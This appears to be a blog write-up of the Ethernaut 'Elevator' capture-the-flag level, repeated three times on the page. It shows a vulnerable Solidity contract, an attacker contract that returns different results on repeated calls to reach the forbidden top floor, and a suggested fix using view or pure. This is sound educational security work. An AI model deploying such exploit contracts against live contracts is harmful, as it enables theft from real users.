Ethernaut 10: Elevator

Calling external contracts can be tricky because they may not be deterministic. A contract function can return different values for the same input to break our contracts. I explored this with my 9th ethernaut challenge, Elevator

https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687

Investigation

We have a contract for an Elevator that should not let the user get to the top floor.

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

By calling goTo, we can update the floor in the Elevator instance. However, the logic intends to never allow the user to get to the top floor of any provided building. The if statement makes sure that the current floor is not the last floor before setting the floor and top values. Since two contract calls are made to the instance of Building, it is possible to return to different values for isLastFloor , thus tricking the elevator to update to be at the top floor unexpectedly.

Solution

I created a new Building contract to demonstrate this

contract Building {
    address elevatorAddress;
    uint calls = 0;

    constructor (address _elevatorAddress) {
        elevatorAddress = _elevatorAddress;
    }

    function attack (uint _floor) public {
        Elevator elevator = Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    function isLastFloor(uint floor) override external returns (bool) {
        if (calls == 0) {
            calls += 1;
            return false;
        } else {
            return true;
        }
    }
}

interface Elevator {
    function goTo(uint _floor) external;
}

Here, we track how many times the isLastFloor command has been called. If it has been called before, we simply increase the calls and return true instead of false on every subsequent call. Sure enough, with this technique, the Elevator instance breaks since it enters an unexpected state.

What I learned

We can’t trust that external contract calls will always return the same output for a given input
To improve this code, we can use view or pure in the interface definition for Building which will ensure that the isLastFloor function cannot modify state between calls

https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687

Investigation

We have a contract for an Elevator that should not let the user get to the top floor.

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Solution

I created a new Building contract to demonstrate this

contract Building {
    address elevatorAddress;
    uint calls = 0;

    constructor (address _elevatorAddress) {
        elevatorAddress = _elevatorAddress;
    }

    function attack (uint _floor) public {
        Elevator elevator = Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    function isLastFloor(uint floor) override external returns (bool) {
        if (calls == 0) {
            calls += 1;
            return false;
        } else {
            return true;
        }
    }
}

interface Elevator {
    function goTo(uint _floor) external;
}

What I learned

We can’t trust that external contract calls will always return the same output for a given input
To improve this code, we can use view or pure in the interface definition for Building which will ensure that the isLastFloor function cannot modify state between calls

Ethernaut 10: Elevator

https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687

Investigation

We have a contract for an Elevator that should not let the user get to the top floor.

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Solution

I created a new Building contract to demonstrate this

contract Building {
    address elevatorAddress;
    uint calls = 0;

    constructor (address _elevatorAddress) {
        elevatorAddress = _elevatorAddress;
    }

    function attack (uint _floor) public {
        Elevator elevator = Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    function isLastFloor(uint floor) override external returns (bool) {
        if (calls == 0) {
            calls += 1;
            return false;
        } else {
            return true;
        }
    }
}

interface Elevator {
    function goTo(uint _floor) external;
}

What I learned

We can’t trust that external contract calls will always return the same output for a given input
To improve this code, we can use view or pure in the interface definition for Building which will ensure that the isLastFloor function cannot modify state between calls

More from 0xbanky

Cover image for OlympusDAO $300,000 exploit

0xbanky

Oct 23

OlympusDAO $300,000 exploit

Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...

0xbanky

Aug 24

Ethernaut 14: Naught Coin

This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...

0xbanky

Aug 24

Ethernaut 15: Preservation

The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...

Subscribe to 0xbanky

<100 subscribers

Subscribe to 0xbanky

<100 subscribers

Ethernaut 10: Elevator

Investigation

Solution

What I learned

0xbanky

More from 0xbanky

No activity yet

More from 0xbanky

0xbanky

Ethernaut 10: Elevator

Investigation

Solution

What I learned

0xbanky

Ethernaut 10: Elevator

Investigation

Solution

What I learned

More from 0xbanky

0xbanky

No activity yet

More from 0xbanky

No activity yet

No activity yet